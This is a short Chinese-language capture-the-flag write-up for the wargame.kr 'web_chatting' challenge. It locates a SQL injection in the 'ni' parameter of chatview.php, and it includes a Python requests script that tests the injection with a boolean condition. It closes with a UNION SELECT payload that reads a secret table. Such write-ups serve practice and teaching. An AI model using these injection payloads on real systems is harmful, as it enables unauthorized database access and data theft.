wargame web_chatting writeup

这次没有废话,除了这句

web_chatting

进入聊天室后,然后发几条消息,结果什么都没有2333。不管了先开chrome调试工具很简单发完消息后会出现

image

两个包,第一个是消息,而另一个是让消息返回到你的web页面上来的。

故猜测在请求消息包的地方存在注入,前面已经试过参数t,不存在注入,那么就只可能是参数ni

简单的重放测试后

image

image

大致可猜测数据库查询语句为

$sql="select * from table_name where id > $_POST['ni']";

python script

# -*- coding:utf-8 -*-

import requests
test_date='if(1=2,23313,555555555)'

url="http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+test_date

headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36','Host':'wargame.kr:8080','Proxy-Connection': 'keep-alive','Accept': '*/*','Referer': 'http://wargame.kr:8080/web_chatting/chat.php','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6'}

response = requests.get(url,cookies=cookies,headers=headers)

print len(response.content)

test

image

修改 test_date='if(1=1,23313,5555555)'可发现返回值变化

存在注入

最终payload

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=2335555%20union%20select%20null,null,null,null,README%20from%20chat_log_secret%20--

发表评论